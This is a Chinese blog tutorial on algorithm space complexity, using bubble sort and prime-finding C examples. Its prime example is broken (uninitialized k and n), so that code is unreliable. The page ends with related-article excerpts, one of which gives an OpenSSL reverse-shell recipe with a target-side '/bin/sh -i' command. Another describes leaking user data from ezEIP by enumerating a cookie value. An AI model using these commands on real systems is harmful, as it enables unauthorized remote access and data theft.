当前位置: 首页 > news >正文

【数据结构】算法的空间复杂度

🦄个人主页:修修修也

🎏所属专栏:数据结构

⚙️操作环境:Visual Studio 2022


算法空间复杂度的定义

算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大家可能第一时间想到的都是写一个算法来判断每次输入的年份符不符合闰年的条件.但其实还有种方法是,我们可以事先建立一个有2050个元素的数组(年数比现实略多一点),然后把所有年份按下标数字对应,如果是闰年,此数组项的值设为1,否则设为0.这样,判断某年是否是闰年,就只需要查找一下对应数组项的值就可以了.这样求闰年的时间复杂度为O(1).既然空间复杂度这么好用,接下来我们就来一起学习它的基本内容吧.

上篇文章中我们一起探讨了算法的时间复杂度的相关知识,在这节我们将一起探讨算法的空间复杂度的相关知识.

先来看算法空间复杂度的定义:

算法的空间复杂度通过计算算法所需的存储空间实现,算法空间复杂度的计算公式记作:S(n)=O(f(n)).

其中,n为问题的规模,f(n)为语句关于n所占存储空间的函数.

通过上节对时间复杂度的分析可知,算法的时间复杂度不是用来计算程序具体耗时的,同样的,空间复杂度也不是用来计算程序实际占用的空间的.

空间复杂度是对一个算法在运行过程中临时占用存储空间大小的一个量度,同样反映的是一个趋势,我们用S(n)来定义.

空间复杂度计算规则基本跟时间复杂度类似,也使用大O渐近表示法.

注意:函数运行时所需要的栈空间(存储参数,局部变量,一些寄存器信息等)在编译期间已经确定好了,因此空间复杂度主要通过函数在运行时侯显示申请的额外空间来确定.

一般情况下,算法要占据的空间可以分为两部分:

  1. 算法本身要占据的空间,输入和输出,指令,常数,变量等.
  2. 算法要使用的辅助空间.

第一条大家应该很好理解,一个程序在机器上执行时,需要存储程序本身的指令,常数,变量和输入数据.

除此之外,还需要存储对数据操作的存储单元,对数据操作的存储单元即算法的辅助空间.

我们参照一个实际程序(冒泡排序函数)来理解一下这个概念:

//冒泡排序函数
void bubbleSort(int arr[], int n)
{for (int i = 0; i < n - 1; i++){for (int j = 0; j < n - i - 1; j++){if (arr[j] > arr[j + 1]){// 交换arr[j]和arr[j+1]int temp = arr[j];      //变量temp占据的空间就是辅助空间arr[j] = arr[j + 1];arr[j + 1] = temp;}}}
}

如上,在冒泡排序函数中,我们需要开辟一个整形变量temp,它占据4个字节,这4个字节的空间就是冒泡排序算法在运行过程中要使用的辅助空间.

至于其他的变量i,j或是数组arr,则都属于算法本身要占据的空间,即无论使不使用冒泡排序算法程序运行都要使用的空间.这部分空间不计入算法空间复杂度的度量.


常见的空间复杂度

📌常数阶

如果算法执行所需要的临时空间不随着某个变量n的大小而变化,即此算法空间复杂度为一个常量,可表示为O(1).

再拿上面的冒泡排序举例:

//冒泡排序函数
void bubbleSort(int arr[], int n)
{for (int i = 0; i < n - 1; i++){for (int j = 0; j < n - i - 1; j++){if (arr[j] > arr[j + 1]){// 交换arr[j]和arr[j+1]int temp = arr[j];      //变量temp每次进入if语句创建,出if语句销毁arr[j] = arr[j + 1];arr[j + 1] = temp;}}}
}

可以看到,算法在运行过程中,虽然会循环很多次交换arr[j]和arr[j+1]的操作,但在这过程中创建的变量temp每次都是进入if语句后被创建,出if语句后被销毁,因此即便创建temp的语句运行的次数随n的增大在不断变多,但其本质上用的都是同一块空间,不论n大小如何变化,temp占用的空间大小都不会变化,因此冒泡排序的空间复杂度为O(1).


📌线性阶

如果算法执行所需要的临时空间随着某个变量n的大小呈线性变化,即此算法空间复杂度为一个线性阶,可表示为O(n).

假设我们现在要求出从0开始的n个素数,将它们存储在数组arr中,代码如下:

int main()
{int i, j,k, flag;int n;       int arr[n] = { 0 };     //仅作示例演示,正式编程时变量不能作为数组长度for (i = 0; k < n; i++){flag = 1;for (j = 2; j < i; j++){if (i % j == 0){flag = 0;break;}}if (flag == 1){arr[k] = i;k++;}}return 0;
}

在这个程序中我们就需要开辟长度为n的数组来存放我们求得的n个素数.显而易见,开辟的数组长度n是随着问题规模的n增长而增长的,且呈线性相关,因此该程序的空间复杂度为O(n).


常见的时间复杂度及其耗费空间排序

常见的空间复杂度
执行次数函数非正式术语
5201314O(1)常数阶
2n+3O(n)线性阶
3n^2+2n+1O(n^2)平方阶
5\log_{2}n+20O(logn)对数阶
2n+3n\log_{2}n+19O(nlogn)nlogn阶
6n^3+2n^2+3n+4O(n^3)立方阶
2^nO(2^n)指数阶

常用的空间复杂度所耗费的空间从小到大依次是:

O(1)<O(logn)<O(n)<O(nlogn)<O(n^{2})<O(n^{3})<O(2^{n})<O(n!)<O(n^{n})

 


结语

当我们搞清楚算法的空间复杂度后,数据结构算法篇的内容就结束了,接下来我们将开启数据结构新的章节——线性表,在新章节中我们将一起学习如何实现顺序表,单链表,双链表,循环链表等相关知识.希望这些内容能对大家有所帮助,一起学习,一起进步!

相关文章推荐

【数据结构】什么是数据结构?

【数据结构】什么是算法?

【数据结构】算法效率的度量方法

【数据结构】算法的时间复杂度

【C语言】冒泡排序

【数据结构】什么是线性表?

......



数据结构算法篇思维导图:

相关文章:

【数据结构】算法的空间复杂度

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...

恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题

恢复Windows 11经典右键菜单&#xff1a;一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单&#xff1a;一条命令解决显示更多选项问题为什么改变&#xff1f;恢复经典右键菜单 我是将军我一直都在&#xff0c;。&#xff01; 恢复Windows 11经典右键菜单&#xff1a;一…...

Android:事件分发机制(二)

这篇主要是第一篇回顾之后&#xff0c;补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view&#xff0c;想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view&#xff0c;要执行下一层的view的点击事件 我们知道&#xff0c;方法是将上一层的…...

vue2时间处理插件——dayjs

在vue时间处理上有很多的方法和实现&#xff0c;可以自己实现&#xff0c;但是效率不高&#xff0c;所以&#xff0c;在框架开发中我们一般不会手写&#xff0c;一般是使用集成的第三方插件来解决我们的问题&#xff0c;在vue3中大家一般都使用Moment.js来处理&#xff0c;所以…...

软考 系统架构设计师系列知识点之软件质量属性(6)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之软件质量属性&#xff08;5&#xff09; 所属章节&#xff1a; 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段&#xff0c;公司的架构师…...

Python6-wxPython库

Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全&#xff1a;https://docs.wxpytho…...

使用OpenSSL的反弹shell

1、攻击机生成证书&#xff1a; openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...

竞赛选题 深度学习OCR中文识别 - opencv python

文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习OCR中文识别系统 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;…...

ezEIP信息泄露

漏洞描述 ezEIP存在信息泄露漏洞&#xff0c;通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie&#xff08;通过遍历获取用户的登录名电话邮箱等信息&#xff09; WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...

02.机器学习原理(复习)

目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》&#xff0c;B站自行搜…...

电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。

一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造&#xff0c;特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能&#xff0c;包括线路过…...

UE4和C++ 开发--HUD类

HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器&#xff0c;创建一个蓝图类&#xff0c;搜索HUD&#xff0c;选择并命名BP_HUD。 2. 开始绘制 打开事件列表&#xff0c;右键搜索 EventReceive Draw HUD。有两…...

使用js怎么设置视频背景

要使用JavaScript设置网页的视频背景&#xff0c;你需要将视频元素添加到你的HTML文档中&#xff0c;然后使用JavaScript来控制它 首先&#xff0c;在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...

Gin,Gorm实现Web计算器

目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符&#xff0c;替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...

11-网络篇-DNS步骤

1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器&#xff1a…...

设计师都应该知道的事:极简主义家具该怎么去用

这座房子有黑暗而沉重的特征&#xff0c;包括棕色和白色的马赛克浴室瓷砖&#xff0c;弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远&#xff0c;白色&#xff0c;干净和简约&#xff0c;接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...

设计模式02———建造者模式 c#

首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒&#xff08;个人喜好&#xff09; 任务&#xff1a;使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...

2023最新接口自动化测试面试题

1、get和post的区别&#xff1f; l http是上层请求协议&#xff0c;主要定义了服务端和客户端的交互规格&#xff0c;底层都是tcp/ip协议 l Get会把参数附在url之后&#xff0c;用&#xff1f;分割&#xff0c;&连接不同参数&#xff0c;Get获取资源&#xff0c;post会把…...

GaN器件的工作原理

目录 AlGaN/GaNHEMT 器件工作原理&#xff08;常开-耗尽型器件&#xff09;常关 AlGaN/GaN 功率晶体管&#xff08;增强型器件&#xff09;HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理&#xff08;常开-耗尽型器件&#xff09; 来源&#xff1a;毫米波GaN基功率器件及MMIC电路…...

点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)

目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...

在软件开发中正确使用MySQL日期时间类型的深度解析

在日常软件开发场景中&#xff0c;时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志&#xff0c;到供应链系统的物流节点时间戳&#xff0c;时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库&#xff0c;其日期时间类型的…...

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M&#xff1a;百万&#xff08;Million&#xff09; B&#xff1a;十亿&#xff08;Billion&#xff09; 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的&#xff0c;但是一个参数所表示多少字节不一定&#xff0c;需要看这个参数以什么…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中&#xff0c;手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力&#xff0c;既支持点击、长按、拖拽等基础单一手势的精细控制&#xff0c;也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

Debian系统简介

目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版&#xff…...

智能在线客服平台:数字化时代企业连接用户的 AI 中枢

随着互联网技术的飞速发展&#xff0c;消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁&#xff0c;不仅优化了客户体验&#xff0c;还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用&#xff0c;并…...

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

蓝桥杯 冶炼金属

原题目链接 &#x1f527; 冶炼金属转换率推测题解 &#x1f4dc; 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V&#xff0c;是一个正整数&#xff0c;表示每 V V V 个普通金属 O O O 可以冶炼出 …...

Java毕业设计:WML信息查询与后端信息发布系统开发

JAVAWML信息查询与后端信息发布系统实现 一、系统概述 本系统基于Java和WML(无线标记语言)技术开发&#xff0c;实现了移动设备上的信息查询与后端信息发布功能。系统采用B/S架构&#xff0c;服务器端使用Java Servlet处理请求&#xff0c;数据库采用MySQL存储信息&#xff0…...

【 java 虚拟机知识 第一篇 】

目录 1.内存模型 1.1.JVM内存模型的介绍 1.2.堆和栈的区别 1.3.栈的存储细节 1.4.堆的部分 1.5.程序计数器的作用 1.6.方法区的内容 1.7.字符串池 1.8.引用类型 1.9.内存泄漏与内存溢出 1.10.会出现内存溢出的结构 1.内存模型 1.1.JVM内存模型的介绍 内存模型主要分…...